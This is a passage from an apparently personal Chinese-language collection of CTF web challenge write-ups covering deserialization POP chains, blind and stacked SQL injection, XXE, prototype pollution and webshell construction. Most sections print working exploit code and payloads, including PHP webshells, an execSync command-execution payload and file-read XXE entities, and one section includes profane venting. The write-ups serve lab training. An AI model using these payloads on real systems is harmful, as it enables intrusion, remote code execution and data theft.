"file":BytesIO(payload.encode()) } r=requests.post(url=url,files=files,allow_redirects=False) print(r.text)访问dir.php即可看到临时文件名包含一下即可非预期session.upload_progress进行session文件包含[HFCTF2020]JustEscape(不会)node.js vm2沙箱逃逸完全没学过node.js，做个屁[强网杯 2019]Upload上传图片后发现会重命名，那考点应该不是这里cookie中发现疑似base64编码的数据，解密后为序列化数据，猜测考反序列化扫描可以发现www.tar.gz，接着就是痛苦的代码审计我看不太懂,但我大受震撼列一下关键代码Profile.phppublic function upload_img(){ //我们目标是要调用这个函数 if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } if(!empty($_FILES)){ //第一次上传会绕过这里，不懂为啥 $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); //这里将filename改为php后缀的话就能成功将原本的png改为php @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } }两个魔法函数public function __get($name) { return $this->except[$name]; //这里设置except['index']=upload_img } public function __call($name, $arguments) //这里因为name为index所以触发__get { if($this->{$name}){ $this->{$this->{$name}}($arguments); } }当对象调用不可访问属性时，就会自动触发get魔法方法在对象调用不可访问函数时，就会自动触发call魔法方法Register.phppublic function __destruct() { if(!$this->registed){ $this->checker->index(); //这里让checker等于Profile类即可触发__call } }我们最终是要调用upload_img，利用里面的copy来控制文件名，那就是要想办法触发upload_imgpop链还是挺简单的，$this->checher 赋值为Profile 对象，那么就会调用Profile对象中的index() 方法，这个方法在Profile中是不存在的，所以会调用__call , __call中又会调用$this->index,index 属性在Profile中也是不存在的，就会触发__get 方法，那么我们再设置Profile 中的except[’index‘] 为 upload_img 的话，就会成功触发upload_img() 先注册，登陆，然后上传图片马，接着复制图片路径，放入poc<?php namespace app\web\controller; class Profile { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __get($name) { return $this->except[$name]; } public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } } } class Register { public $checker; public $registed; public function __destruct() { if(!$this->registed){ $this->checker->index(); } } } $profile = new Profile(); $profile->except = ['index' => 'img']; $profile->img = "upload_img"; $profile->ext = "png"; //修改地址即可 $profile->filename_tmp = "../public/upload/758ab0c50e4a8a37c8ff92ae62f1ef6a/4a47a0db6e60853dedfcfdf08a5ca249.png"; $profile->filename = "../public/upload/758ab0c50e4a8a37c8ff92ae62f1ef6a/4a47a0db6e60853dedfcfdf08a5ca249.php"; $register = new Register(); $register->registed = false; $register->checker = $profile; echo urlencode(base64_encode(serialize($register))); ?>替换原来的cookie，刷新一下，会发现图片马已经成功改为php后缀，蚁剑连接即可[网鼎杯2018]Unfinish在注册登录后会显示用户名，但登录时是用邮箱登录的，猜测为2次注入，注入点在username然后又是新姿势不多bb，直接上图不过因为题目过滤了逗号，所以用from for 代替substr(xxx from 2 for 1)相当于substr(xxx,2,1)上脚本import requests import time url = 'http://2debc1f8-a31b-4cd0-884b-e008c03d5dc3.node3.buuoj.cn/' flag = '' payload = { 'id':'' } for i in range(1,300): left = 1 right = 127 mid=int((left+right)/2) while(left<right): #payload['id'] = '1^(ascii(substr(database(),%d,1))<%d)'%(i,mid) payload['id'] = '1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),%d,1))<%d)'%(i,mid) r = requests.post(url=url,data=payload) if 'Nu1L' in r.text: left=mid+1 else: right=mid mid=int((left+right)/2) flag+=chr(mid-1) print(flag) for i in range(1,300): for j in range(1,128): payload['id'] = "0^((select '1','%s')>(select * from f1ag_1s_h3r3_hhhhh))"%(flag+chr(j)) r = requests.post(url=url,data=payload) time.sleep(0.03) if 'Nu1L' in r.text: print(flag+chr(j-1)) flag+=chr(j-1) break[GYCTF2020]Easyphpphp反序列化字符串逃逸不想做了操，明明之前花了这么长时间学了反序列化字符串逃逸，为什么就看不懂了！操！操！操！为什么我花一个晚上都搞不懂，操！啊，算了，无所谓了老子tm再也不做反序列字符逃逸题了，再做这种sb题目我就是狗！[MRCTF2020]Ezauditwww.zip源码泄露<?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若为空,视为未填写,提示错误,并3秒后返回登录界面 header('refresh:2; url=login.html'); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密钥，咋会让你登录?crispr会让你在2秒后跳转到登录界面的!"; exit; } else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo " ".$row["username"]." ".$row["flag"]." "; } } } } // genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???username为crispr，password可以万能密码绕过，只差private_key显然考察mt_rand()伪随机数简单来说，mt_rand()是根据种子生成随机数的，只要知道了种子，就能知道会生成哪些数这里告诉了public_key，利用脚本工具php_mt_seed就可以计算出种子首先提取出public_key中的随机数，再转换成脚本能够识别的格式str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2='KVQP0LdJKRaV3n9D' length = len(str2) res='' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' break print(res)得到种子1775196155接着用这个种子生成Public_key即可<?php mt_srand(1775196155); function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } public_key(); echo private_key(); ?> 不过这里有个坑点，虽然是同一个种子，但php版本不同，结果也会不同，我这工具可能比较老，并没有返回适合这个种子的php版本，应该是需要在5.2.1到7.0.x之间[红明谷CTF 2021]write_shell<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>php短标签加%09绕过?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>[SCTF2019]Flag ShopRuby ERB模板注入完全没接触过Ruby，告辞[GXYCTF2019]StrongestMind还以为是考察什么我没见过的知识点呢，结果就是写脚本算一千次，挺没意思的一题import requests import re import time from requests.sessions import session url = 'http://9e60bd5f-bce8-4a7d-808a-ca73d4a6d730.node4.buuoj.cn:81/index.php' s = requests.session() number = re.compile(r'[0-9]+ [+|-] [0-9]+') r = s.get(url=url) for i in range(1050): time.sleep(0.1) try: answer = eval(number.findall(r.text)[0]) data = { 'answer': answer } r = s.post(url=url,data=data) r.encoding = "utf-8" print(r.text) except: pass print(r.text)SUCTF 2018]GetShellif($contents=file_get_contents($_FILES["file"]["tmp_name"])){ $data=substr($contents,5); foreach ($black_char as $b) { if (stripos($data, $b) !== false){ die("illegal char"); } } } 上传的文件会自动改为php后缀但过滤了很多，从第5位开始截取判断，要构造无字母数字的马，可以用中文取法来实现贴上大佬的脚本<?php //Author: m0c1nu7 error_reporting(0); header('Content-Type: text/html; charset=utf-8'); function str_split_unicode($str, $l = 0) { if ($l > 0) { $ret = array(); $len = mb_strlen($str, "UTF-8"); for ($i = 0; $i < $len; $i += $l) { $ret[] = mb_substr($str, $i, $l, "UTF-8"); } return $ret; } return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY); } $s = '你归来是诗离去成词且笑风尘不敢造次我糟糠能食粗衣也认煮酒话桑不敢相思你终会遇见这么一个人他会用整个人生将你精心收藏用漫长岁月把你妥善安放怕什么岁月漫长你心地善良,终会有一人陪你骑马喝酒走四方为你唱一首歌歌中有你亦有我我的泪我的魅将都融入到我的歌声里飘向孤独的你你是否听到了我的歌曲是否也在黯然落泪？岁月匆匆人生漫漫漠视了真情谁是站谁的谁已经变得不重要至少曾经已拥有长相思爱相随时空隔离谁相陪？花前月下心随风相思一片梦成空笑看往事红尘中多少凝思付清秋？长相思泪相随曾经谁是谁的谁？孤星冷月泪盈盈念曾经相逢心长时光短让人垂泪到天明长相思苦相随窗前双燕比翼飞日暮情人成双对于时光无垠的田野中没有早一步也没有晚一步恰好遇见了想要遇见的人这是一段多少美丽而令人心动的尘缘于爱情来说相见恨早会恨晚站会留下梨花带雨的疼痛而于友情来说无论太早或者太迟都是一份值得珍惜的情缘晚秋缓缓走晚了我的轮回疏雨一刻半疏笼起我深深的梦馀昨日遗憾寸寸疏雨挑涸泪烛落笔无处飒晚秋彼晚秋未晚懒我疏雨疏风去归我初心还我清梦唯我在晚秋未晚里守望那疏雨半疏的麦田待下一片梧桐叶复舞我亦拾起我的旧梦旧梦清寒一枕乱我眸中晚秋躞蹀的雨疏疏拍窗我的晚秋疏雨半疏疏开昨日我的梦情缘如海深邃澈蓝干涸成妄谈一湛清湖泪潸然一颦寒眉锁阑珊只为你而欣悦只因你而清泪斑斑你是我的前世吧为何沁泊在我的心怀缱绻起涟波千层驻我心扉知我情怀从此我已习惯你的嘘寒问暖懒倦地痴卧在你的胸怀红霞满腮昨天再苦都要用今天的微笑把它吟咏成一段幸福的记忆；曾经再累都要用当站下的遗忘穿越万道红尘让心波澜不惊人生最大的荣耀不在于从不跌倒而在于每一次跌倒后都能爬起来回忆是件很累的事就像失眠时怎么躺都不对的样子有时候往往直到离开在回忆里才能知道自己有多喜欢一座城'; $arr_str=str_split_unicode($s); for ($i=0; $i < strlen($s) ; $i++) { echo $arr_str[$i].' ------- '.~$arr_str[$i][3]."\n"; } ?> <?php $__ = []; $_ = ($__ == $__);//$_ = 1 $__ = ~(融); $___ = $__[$_];//a $__ = ~(匆); $___ .= $__[$_].$__[$_];//ass $__ = ~(随); $___ .= $__[$_];//asse $__ = ~(千); $___ .= $__[$_];//asser $__ = ~(苦); $___ .= $__[$_];//assert $____ = ~(~(_));//_ $__ = ~(诗); $____ .= $__[$_];//_P $__ = ~(尘); $____ .= $__[$_];//_PO $__ = ~(欣); $____ .= $__[$_];//_POS $__ = ~(站); $____ .= $__[$_];//_POST $_=$$____;//$_POST $___($_[_]);//assert($_POST[_])最终exp<?= $__=[]; $_=($__==$__); $__=~(融); $___=$__[$_]; $__=~(匆); $___.=$__[$_].$__[$_]; $__=~(随); $___.=$__[$_]; $__=~(千); $___.=$__[$_]; $__=~(苦); $___.=$__[$_]; $____=~(~(_)); $__=~(诗); $____.=$__[$_]; $__=~(尘); $____.=$__[$_]; $__=~(欣); $____.=$__[$_]; $__=~(站); $____.=$__[$_]; $_=$$____; $___($_[_]);参数名为_flag不在根目录，在环境变量中payload:_=system('env')[安洵杯 2019]不是文件上传查看网页源码往下拉，得到提示源码在github，搜索wowouploadimage(Powered By wowouploadimage)得到源码后审计helper.php<?php class helper { protected $folder = "pic/"; protected $ifview = False; protected $config = "config.txt"; // The function is not yet perfect, it is not open yet. public function upload($input="file") { $fileinfo = $this->getfile($input); $array = array(); $array["title"] = $fileinfo['title']; $array["filename"] = $fileinfo['filename']; $array["ext"] = $fileinfo['ext']; $array["path"] = $fileinfo['path']; $img_ext = getimagesize($_FILES[$input]["tmp_name"]); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); $id = $this->save($array); if ($id == 0){ die("Something wrong!"); } echo " "; echo " Your images is uploaded successfully. And your image's id is $id. "; } public function getfile($input) { if(isset($input)){ $rs = $this->check($_FILES[$input]); } return $rs; } public function check($info) { $basename = substr(md5(time().uniqid()),9,16); $filename = $info["name"]; $ext = substr(strrchr($filename, '.'), 1); $cate_exts = array("jpg","gif","png","jpeg"); if(!in_array($ext,$cate_exts)){ die(" Please upload the correct image file!!! "); } $title = str_replace(".".$ext,'',$filename); return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext); } public function save($data) { if(!$data || !is_array($data)){ die("Something wrong!"); } $id = $this->insert_array($data); return $id; } public function insert_array($data) { $con = mysqli_connect("127.0.0.1","root","root","pic_base"); if (mysqli_connect_errno($con)) { die("Connect MySQL Fail:".mysqli_connect_error()); } $sql_fields = array(); $sql_val = array(); foreach($data as $key=>$value){ $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key); $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value); $sql_fields[] = "`".$key_temp."`"; $sql_val[] = "'".$value_temp."'"; } $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")"; mysqli_query($con, $sql); $id = mysqli_insert_id($con); mysqli_close($con); return $id; } public function view_files($path){ if ($this->ifview == False){ return False; //The function is not yet perfect, it is not open yet. } $content = file_get_contents($path); echo $content; } function __destruct(){ # Read some config html $this->view_files($this->config); } } ?>show.php Show Images Your images The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve. <?php include("./helper.php"); $show = new show(); if($_GET["delete_all"]){ if($_GET["delete_all"] == "true"){ $show->Delete_All_Images(); } } $show->Get_All_Images(); class show{ public $con; public function __construct(){ $this->con = mysqli_connect("127.0.0.1","root","root","pic_base"); if (mysqli_connect_errno($this->con)){ die("Connect MySQL Fail:".mysqli_connect_error()); } } public function Get_All_Images(){ $sql = "SELECT * FROM images"; $result = mysqli_query($this->con, $sql); if ($result->num_rows > 0){ while($row = $result->fetch_assoc()){ if($row["attr"]){ $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]); $attr = unserialize($attr_temp); } echo " id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]." "; } }else{ echo " You have not uploaded an image yet. "; } mysqli_close($this->con); } public function Delete_All_Images(){ $sql = "DELETE FROM images"; $result = mysqli_query($this->con, $sql); } } ?> Delete All Images Upload Images 很明显是要反序列化用file_get_contents读取flag，那看看入口在哪注意到在helper.php中能序列化$array["attr"] = serialize($my_ext);，在show.php中有$attr = unserialize($attr_temp);接下来看看功能图片上传后会将图片的各个属性(title,filename,exp,path,attr)存入数据库中，其中arre为图片的宽和高，在获取后会进行序列化，然后后面读取时反序列化取出<?php class helper { protected $ifview = TRUE; protected $config = "/flag"; } $p = new helper(); echo serialize($p); //O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";} //O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";} echo '0x'.bin2hex('O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}'); ?>注意一开始序列化出来的值要先替换一下，因为$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);，然后再转为16进制，避免被过滤掉特殊符号那么我们如何改变arre的值呢？继续看题目并未对文件名进行检测，最终会直接拼接到sql语句中INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")，因此可以通过文件名来sql注入payloadfilename="1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg"[b01lers2020]Life on Mars抓包发现有参数，尝试sql注入我想着这是字符串肯定得有个'吧，结果搞半天搞不出来，其实直接union就能注。。。注意不能出现空格，url编码即可payload?search=tharsis_rise%20union%20select%201,group_concat(code)%20from%20alien_code.code[GYCTF2020]Ez_Express第一次做js的题目，还有点懵。之前看到的js题大都是原型链污染，这题也不例外注册后可以下载到源码，审计routes/index.jsvar express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword } return undefined } router.get('/', function (req, res) { if(!req.session.user){ res.redirect('/login'); } res.outputFunctionName=undefined; res.render('index',data={'user':req.session.user.user}); }); router.get('/login', function (req, res) { res.render('login'); }); router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end(" ") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end(" ")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end(" ") } } res.redirect('/'); ; }); router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end(" ")} req.session.user.data = clone(req.body); res.end(" "); }); router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router; 找merge，clone函数，这里往往会出现原型链污染点往下找到调用clone()的地方当用户为ADMIN时才会调用clone()那就看/login，看看怎么样才能成为ADMIN首先注意到toUpperCase()，这个函数功能是将小写字母转为大写，而这个函数和另一个大写转小写toLowerCase()函数，他们的转换是会出现问题的，具体看p牛的文章Fuzz中的javascript大小写特性因此现在我们需要一个大写为ADMIN，而小写不为admin的字符串，就是这个admın，ı这个字符的大写为I，因此可以绕过以admin登陆后提示flag在/flag，接下来就是原型链污染依旧是p牛的文章深入理解 JavaScript Prototype 污染攻击题目最终是会渲染outputFunctionName，但是outputFunctionName并没有定义，因此可以污染outputFunctionName来rce/action抓包后将Content-Type设为application/json 添加payload{"lua":"xiaolong","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}大致原理是搞懂了，但这个payload还看不明白，可能还需要多做几题[ISITDTU 2019]EasyPHP<?php highlight_file(__FILE__); $_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it'); if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); eval($_); ?>取反可以构造phpinfo()?_=(~%8F%97%8F%96%91%99%90)();然后就是异或，需要readfile(end(scandir(.)));最后构造出来长这样?_=((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));题目难点就是不能超过13种字符，具体构造过程我看不太懂，反正觉得挺没意思的。[HarekazeCTF2019]Avatar Uploader 1题目给了源码<?php error_reporting(0); require_once('config.php'); require_once('lib/util.php'); require_once('lib/session.php'); $session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY); // check whether file is uploaded if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) { error('No file was uploaded.'); } // check file size if ($_FILES['file']['size'] > 256000) { error('Uploaded file is too large.'); } // check file type $finfo = finfo_open(FILEINFO_MIME_TYPE); $type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); if (!in_array($type, ['image/png'])) { error('Uploaded file is not PNG format.'); } // check file width/height $size = getimagesize($_FILES['file']['tmp_name']); if ($size[0] > 256 || $size[1] > 256) { error('Uploaded image is too large.'); } if ($size[2] !== IMAGETYPE_PNG) { // I hope this never happens... error('What happened...? OK, the flag for part 1 is: ' . getenv('FLAG1') . ''); } // ok $filename = bin2hex(random_bytes(4)) . '.png'; move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename); $session->set('avatar', $filename); flash('info', 'Your avatar has been successfully updated!'); redirect('/');考察finfo_file和getimagesize题目会用finfo_file来检测上传的是否为png图片，getimagesize则用来获取图片的宽高等信息，如果getimagesize获取到的不为png就给flag但finfo_file是通过文件第一行(16进制下)来获取文件类型的，因此可以将png图片的第一行保留，其他全删掉，这样finfo_file获取到的是png，而getimagesize获取不到图片的相关信息然后上传就有flag[CSAWQual 2019]Web_Unagi看到上传xml文件，就知道肯定是xxe了<?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xiaolong SYSTEM "file:///flag" >]> <users> <user> <username>bob</username> <password>passwd2</password> <name> Bob</name> <email>bob@fakesite.com</email> <group>CSAW2019</group> <intro>&xiaolong;</intro> </user> </users>直接上传不行，需要编码绕过一下，转成utf-16iconv -f utf-8 -t utf-16 1.xml > 2.xml平时xxe接触的少，虽然我知道xxe，但是不熟悉xml，这题我不知道为什么要<intro></intro>标签，我定义其他如<flag></flag>就不行，搞不懂[BSidesCF 2019]SVGMagic能将svg转为png，查一下svg是什么格式查了后发现svg是xml图片，那考点肯定是xxe了不过payload我还是不会构造，搞了半天还是要看wp<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg[ <!ENTITY xiaolong SYSTEM "file:///etc/passwd" > ]> <text x="10" y="20">&xiaolong;</text> 发现可以读到/etc/passwd，但flag不在根目录，在当前目录，要用/proc/self/cwd/又学到个新知识:/proc/self/cwd/表示当前目录<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg[ <!ENTITY xiaolong SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <text x="10" y="20">&xiaolong;</text> 这样就能读取flag了[EIS 2019]EzPOP<?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (!$this->autosave) { $this->save(); } } } class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);我习惯先找到利用点，再看看代码大致功能，然后倒推最终肯定是利用file_put_contents写马$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);$filename来自A类中的$key，可控$data来自A类中的$this->complete，也是可控的接着看看具体怎么构造如果直接写马的话，会拼接上前面的exit()，导致无法执行我们的代码，这个时候又要提到p神的文章了谈一谈php://filter的妙用简单来说，我们利用php://filter/write=convert.base64-decode，传入base64编码后的代码，然后解码，这样前面的代码就会被解码为乱码，而后面则是我们解密后的代码因为前面符合base64的字符只有php//exit，因此手动加上3个字符，让其正常解码，不影响后面的代码。所以$data的数据如下aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= //<?php @eval($_POST['cmd']);?>base64加密后为PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=在获取data时会经过serialize函数，此serialize非彼serialize$serialize = $this->options['serialize']; return $serialize($data);$this->options['serialize']是可控的，所以我们可以将$data再base64一次，然后执行base64_decode($data)这样的函数，或者其他对$data的值没什么影响的函数exp如下<?php class A{ protected $store; protected $key; protected $expire; public function __construct(){ $this->complete = base64_encode('aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4='); $this->cache = array(); $this->store = new B(); $this->key = 'shell.php'; $this->expire = 0; $this->autosave = false; } } class B{ public $options = array(); public function __construct(){ $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource='; $this->options['serialize'] = 'base64_decode'; $this->options['data_compress'] = false; } } $a = new A(); echo urlencode(serialize($a));[SWPU2019]Web4考察PDO下的sql注入用16进制和预处理进行堆叠注入hex('select sleep(5)') = 0x73656C65637420736C656570283529接着写脚本进行时间盲注import requests import time import json def main(): url = 'http://268ec2bf-319d-4c21-b7b9-3983db26800d.node4.buuoj.cn:81/index.php?r=Login/Index' payloads = "admin';set @a=0x{0};prepare b from @a;execute b-- " flag = '' for i in range(1,50): payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)" for j in range(0,128): datas = { 'username':payloads.format(str_to_hex(payload.format(i,j))), 'password':'admin888' } data = json.dumps(datas) times = time.time() res = requests.post(url = url, data = data) if time.time() - times >= 3: flag = flag + chr(j) print(flag) break def str_to_hex(str): return ''.join([hex(ord(c)).replace('0x', '') for c in str]) if __name__ == '__main__': main() # payload = "select if(ascii(substr((select flag from flag),1,1))=102,sleep(3),1)" # print(str_to_hex(payload))不过因为buu的原因，刚跑几秒就429了，最终结果是glzjin_wants_a_girl_friend.zip下载下来审计经典mvcfun.php// 路由控制跳转至控制器 if(!empty($_REQUEST['r'])) { $r = explode('/', $_REQUEST['r']); list($controller,$action) = $r; $controller = "{$controller}Controller"; $action = "action{$action}";假设GET的输入为?r=Login/Index，这段代码就去请求LoginController中的actionIndex方法最终利用点在BaseController.php public function loadView($viewName ='', $viewData = []) { $this->viewPath = BASE_PATH . "/View/{$viewName}.php"; if(file_exists($this->viewPath)) { extract($viewData); include $this->viewPath; } }显然是变量覆盖进行文件包含在UserController.php中的actionIndex可控 public function actionIndex() { $listData = $_REQUEST; $this->loadView('userIndex',$listData); }查看userIndex视图img_file可控，改成/../flag.php即可payload如下?r=User/index&img_file=/../flag.php查看源码base64解密即可[网鼎杯 2020 半决赛]AliceWebsite给了源码<?php $action = (isset($_GET['action']) ? $_GET['action'] : 'home.php'); if (file_exists($action)) { include $action; } else { echo "File not found!"; } ?>payload?action=/../../../../../flag[SUCTF 2018]MultiSQL登陆后查看用户信息跟 [SWPU2019]Web4有一丢丢像，也是16进制加堆叠注入加预处理def str_to_hex(str): return ''.join([hex(ord(c)).replace('0x', '') for c in str]) str = "select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/favicon/shell.php';" print(str_to_hex(str))这里根目录没有权限写，只能写在favicon目录?id=1;set/**/@a=0x73656c65637420273c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e706870273b;prepare/**/b/**/from/**/@a;execute/**/b%23蚁剑连接拿flag[GXYCTF2019]BabysqliV3.0爆破得到admin密码为password登陆后可以伪协议读文件?file=php://filter/read=convert.base64-encode/resource=homehome.php<?php session_start(); echo " Home "; error_reporting(0); if(isset($_SESSION['user'])){ if(isset($_GET['file'])){ if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){ die("hacker!"); } else{ if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){ $file = $_GET['file'].".php"; } else{ $file = $_GET['file'].".fxxkyou!"; } echo "当前引用的是 ".$file; require $file; } } else{ die("no permission!"); } } ?>upload.php 上传文件 <?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token; function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = 